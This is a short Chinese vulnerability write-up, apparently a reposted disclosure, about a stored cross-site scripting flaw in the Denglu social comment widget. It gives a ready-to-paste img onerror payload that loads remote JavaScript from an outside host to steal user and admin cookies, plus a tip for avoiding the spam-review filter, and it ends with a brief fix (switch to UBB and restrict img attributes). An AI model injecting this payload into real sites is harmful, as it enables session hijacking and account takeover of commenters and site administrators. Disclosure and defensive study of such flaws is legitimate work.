灯鹭社会化评论框xss - 网站安全 - 自学php

一、约定词解释和说明

灯鹭社会化评论框：http://HdhCmsTestdenglu.cc/demo. html

 

二、说明

灯鹭社会化评论框在直接输入script的情况下是无效的。

但目前推出允许插入图片的代码，竟然是以html模式支持的。

所以，可以用各种on来xss，目前可以跨到当前灯鹭登录前后台用户的cookies（暂无实验可否非同源ip访问）；但由于不擅长前端，所以暂时跨不到被嵌入页面的cookies。

 

三、评级依据

由于社会化登录嵌入多个网站，可能会对被嵌入网站造成影响，然后还有因为实在太困了.....故评级为中。

1、找到任一使用灯鹭社会化评论框的网站

 

2、输入如下代码：

 

<img src="asfsd" onerror='this.onerror=null;this.src="";var s=document.createElement("script");s.charset = "UTF-8";s.src="http:// HdhCmsTest2cto测试数据 /zlOm4ZH";document.body.appendChild(s);' />

求快速效果的，就不能出现2个及以上的url，否则会被列入垃圾评论进行审核列表。

 

3、效果

前台（被嵌入页面），暂时跨不到被嵌入页面的cookies：

 

 

 

open.denglu.cc评论管理后台，用这个cookies可以登录到后台否？太晚没测试了：

 

 

修复方案： 换UBB，并且限制img内的可用属性

 

查看更多关于灯鹭社会化评论框xss - 网站安全 - 自学php的详细内容...